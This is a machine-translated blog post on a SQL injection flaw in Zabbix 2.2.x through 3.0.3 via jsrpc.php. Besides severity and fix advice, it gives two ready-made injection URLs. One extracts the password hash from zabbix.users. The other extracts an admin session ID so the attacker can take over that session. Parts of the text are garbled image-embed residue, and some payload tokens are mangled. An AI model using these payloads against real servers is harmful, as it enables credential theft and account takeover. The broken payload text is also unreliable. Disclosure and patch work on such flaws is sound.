Zabbix 2.2.x/2.4.x/3.0.0-3.0.3-sql Injection

Vulnerability Source: HTTP://SECLISTS.ORG/FULLDISCLOSURE/2016/AUG/60

Attack Cost: Low

Hazard level: High

Conditions of Use: Guest user rights are required (not logged in user is set to the Guest user's access rights)

Impact Range:2.2.x/2.4.x/3.0.0-3.0.3

Fix recommendations: Disable the Guest user or upgrade to 3.0.4

Exploit:

Password Explosion

sanr.com/zabbix/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083 &mode=2&screenid=&groupid=&hostid=0&pagefile=history.php&profileidx=web.item.graph &profileidx2=2 and Updatexml (1,concat (0x3a, (select passwd from zabbix.users limit 0,1), 1))%23&updateprofile= True&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5b23297%5d= 23297&action=showlatest&filter=&filter_task=&mark_color=1

The output is as follows to indicate that the vulnerability exists:

650) this.width=650; "src=" Http://s5.51cto.com/wyfs02/M00/86/1E/wKioL1e1SNjBxxvtAAC8nFNlxd0879.png "title=" QQ picture 20160818133342.png "alt=" Wkiol1e1snjbxxvtaac8nfnlxd0879.png "/>

The output is as follows to disable guest:

650) this.width=650; "src=" Http://s2.51cto.com/wyfs02/M00/86/1E/wKioL1e1Sfvy-9pCAADd3By_ozw823.png "title=" 2.png " alt= "Wkiol1e1sfvy-9pcaadd3by_ozw823.png"/>

Pop SessionID (You can use session spoofing in case of password cracking)

Need to take out the burst to SessionID in front of the number 1, in order to modify the value of Zbx_sessionid .

sanr.com/zabbix/jsrpc.php?type=9&method=screen.get&timestamp=1471403798083&pagefile=history.php &profileidx=web.item.graph&profileidx2= (select (1) from the users where 1=1 and (select 1 from (SELECT COUNT (*), Conca T (Floor (rand (0) *), (substring ((select Concat (sessionid,0x7e,userid,0x7e,status) from sessions where status=0 and userid=1 LIMIT 0,1)), 1,62))) (A from Information_schema.tables group by a) b)) &updateprofile=true&period=3600 &stime=20160817050632&resourcetype=17

650) this.width=650; "src=" Http://s3.51cto.com/wyfs02/M01/86/1F/wKiom1e1VtqSy3yeAAEJ5vmTyq8452.png "style=" float: none; "Title=" Session 1.png "alt=" Wkiom1e1vtqsy3yeaaej5vmtyq8452.png "/>

650) this.width=650; "src=" Http://s4.51cto.com/wyfs02/M02/86/1F/wKiom1e1Vtvxe6tJAAICI3mnauM375.png "style=" float: none; "title=" SessionID 2.png "alt=" Wkiom1e1vtvxe6tjaaici3mnaum375.png "/>

650) this.width=650; "src=" Http://s3.51cto.com/wyfs02/M01/86/1E/wKioL1e1VtriLSbhAAHGirrU650177.png "title=" Session 33.png "style=" Float:none; "alt=" Wkiol1e1vtrilsbhaahgirru650177.png "/>

Zabbix Specific Edition number view

Version 2.x

650) this.width=650; "src=" Http://s3.51cto.com/wyfs02/M00/86/1E/wKiom1e1SoOAv1G5AAGHJp2doBU152.png "style=" float: none; "title=" 3.1.png "alt=" Wkiom1e1sooav1g5aaghjp2dobu152.png "/>

650) this.width=650; "src=" Http://s3.51cto.com/wyfs02/M00/86/1E/wKioL1e1SoSxHHMkAAFg-OrySWk538.png "style=" float: none; "title=" 3.2.png "alt=" Wkiol1e1sosxhhmkaafg-oryswk538.png "/>

Version 3.x

650) this.width=650; "src=" Http://s3.51cto.com/wyfs02/M01/86/1E/wKiom1e1Ss2Co2-zAAAwVTl-FVg769.png "style=" float: none; "title=" 3.3.png "alt=" Wkiom1e1ss2co2-zaaawvtl-fvg769.png "/>

650) this.width=650; "src=" Http://s5.51cto.com/wyfs02/M01/86/1E/wKioL1e1St6BfmD_AABfDCp9jEY513.png "title=" 3.4. PNG "alt=" Wkiol1e1st6bfmd_aabfdcp9jey513.png "/>

This article is from the "Sanr" blog, make sure to keep this source http://0x007.blog.51cto.com/6330498/1839937

Zabbix 2.2.x/2.4.x/3.0.0-3.0.3-sql Injection